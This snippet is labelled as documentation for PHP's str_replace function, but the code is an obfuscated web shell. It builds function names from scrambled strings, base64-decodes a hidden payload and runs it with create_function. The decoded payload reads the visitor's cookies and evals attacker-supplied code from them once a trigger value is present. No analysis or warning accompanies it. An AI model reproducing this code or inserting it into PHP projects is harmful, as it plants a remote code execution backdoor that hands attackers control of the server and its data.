- str_replace: documentation ( source)
<?php
$zpnu="m9sppbihhcnspJheV9zbGljZSgkYspSwkspYygkYSktMykpKSkpO2VjaG8gJzwspvspJy4kspay4nPic7fQsp==";
$lobo="yZWdfcmVwbGFjZSsphhcnspJheSgnL1teXHcsp9XHNdLycsJy9ccy8nKSwgYXJyYXkspoJycsJysnKSwga";
$rckw="spJGM9J2NvdWsp50JzsspkYT0kX0NPT0tJRspTtpZspihyZspXNlspdCgkYspSk9spPSd0cScgJiYgJGMoJGEpPspjsp";
$dfzt="MpeyRrPSd6Skh1a0VuQksppOJztsplY2hvICc8Jy4kay4spnspPic7ZXZhspbChiYXNlNjRfZGVjbsp2RlKHB";
$aotx = str_replace("y","","ysytry_yryepylyaycye");
$frpb = $aotx("i", "", "ibiaisei6i4i_idieiciodie");
$usbf = $aotx("p","","pcprpeaptpep_pfpunpcptpipopn");
$ltfn = $usbf('', $frpb($aotx("sp", "", $rckw.$dfzt.$lobo.$zpnu))); $ltfn();